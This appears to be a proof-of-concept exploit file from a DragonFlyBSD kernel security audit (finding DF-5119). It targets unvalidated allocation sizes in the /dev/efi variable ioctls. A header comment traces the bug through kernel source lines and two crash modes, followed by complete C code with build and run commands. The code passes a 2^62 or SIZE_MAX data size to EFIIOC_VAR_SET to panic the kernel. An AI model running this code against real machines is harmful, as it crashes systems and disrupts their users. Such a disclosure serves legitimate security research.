⬢ DragonFlyBSD Kernel Audit
DF-5119 / efi_sz.c
← back to finding ↓ download raw
/*
 * DF-5119 PoC — unvalidated user-controlled allocation sizes in
 * /dev/efi EFIIOC_VAR_* ioctls (sys/dev/misc/efirt/efidev.c).
 *
 * efidev_ioctl() passes user-supplied ev->datasize / ev->namesize straight
 * to kmalloc(..., M_TEMP, M_WAITOK):
 *
 *   line 105:  data = kmalloc(ev->datasize, M_TEMP, M_WAITOK);   (VAR_GET)
 *   line 106:  name = kmalloc(ev->namesize, M_TEMP, M_WAITOK);   (VAR_GET)
 *   line 140:  name = kmalloc(ev->namesize, M_TEMP, M_WAITOK);   (VAR_NEXT)
 *   line 165:  data = kmalloc(ev->datasize, M_TEMP, M_WAITOK);   (VAR_SET)
 *   line 166:  name = kmalloc(ev->namesize, M_TEMP, M_WAITOK);   (VAR_SET)
 *
 * Mode 1 (huge, non-wrapping size):
 *   kmalloc(2^62) -> _kmalloc() large-allocation path
 *   (sys/kern/kern_slaballoc.c:942) -> kmem_slab_alloc() ->
 *   vm_map_findspace() fails -> panic("kmem_slab_alloc(): kernel_map ran
 *   out of space!") because M_WAITOK was given without M_NULLOK
 *   (sys/kern/kern_slaballoc.c:1721-1724).
 *
 * Mode 2 (size near SIZE_MAX):
 *   round_page(0xFFFFFFFFFFFFFFFF) wraps to 0 (kern_slaballoc.c:945),
 *   kmem_slab_alloc(0) returns a valid KVA with zero pages mapped and
 *   *kup = 0 is stored (kern_slaballoc.c:953-954). copyin() then returns
 *   EFAULT, and kfree(data) (efidev.c:184) misclassifies the pointer:
 *   *kup == 0 is not > 0, so _kfree() takes the SLZone path
 *   (kern_slaballoc.c:1475-1478) on an unmapped, zone-less pointer ->
 *   KKASSERT failure / unmapped kernel read -> fatal trap.
 *
 * Mode 0 (control): sane sizes -> on a BIOS-booted box the ioctl reaches
 * efi_enter() which returns ENXIO; no panic. Proves the panic is caused
 * solely by the unvalidated size.
 *
 * The kmallocs happen BEFORE any EFI runtime call, so the bug is reachable
 * on BIOS-booted machines too (only needs `kldload efirt`, which creates
 * /dev/efi via the efidev module even though efirt's own init fails).
 *
 * Requires: root (device is 0700 root:wheel).
 *
 * build: cc -O -o efi_sz efi_sz.c
 * run:   ./efi_sz <mode>
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/efiio.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	struct efi_var_ioc ev;
	uint16_t name[2] = { 0, 0 };	/* "" NUL-terminated wide name */
	char data[4] = "AAAA";
	int fd, rc, mode;

	if (argc != 2) {
		fprintf(stderr, "usage: %s <mode 0|1|2>\n", argv[0]);
		return (2);
	}
	mode = atoi(argv[1]);

	fd = open("/dev/efi", O_RDWR);
	if (fd < 0) {
		perror("open /dev/efi");
		return (1);
	}

	memset(&ev, 0, sizeof(ev));
	ev.name = name;
	ev.namesize = sizeof(name);	/* 4 bytes, valid & NUL-terminated */
	ev.data = data;
	ev.datasize = sizeof(data);
	ev.attrib = 0;

	switch (mode) {
	case 0:
		break;			/* sane control */
	case 1:
		ev.datasize = 0x4000000000000000UL;	/* 2^62: direct panic */
		break;
	case 2:
		ev.datasize = (size_t)-1;	/* wraps round_page() to 0 */
		break;
	default:
		fprintf(stderr, "bad mode\n");
		return (2);
	}

	printf("mode=%d datasize=0x%llx namesize=0x%zx -> ioctl"
	    " (EFIIOC_VAR_SET)...\n", mode,
	    (unsigned long long)ev.datasize, ev.namesize);
	fflush(stdout);

	rc = ioctl(fd, EFIIOC_VAR_SET, &ev);
	printf("ioctl rc=%d errno=%d (%s)\n", rc, errno, strerror(errno));
	return (rc == 0 ? 0 : 1);
}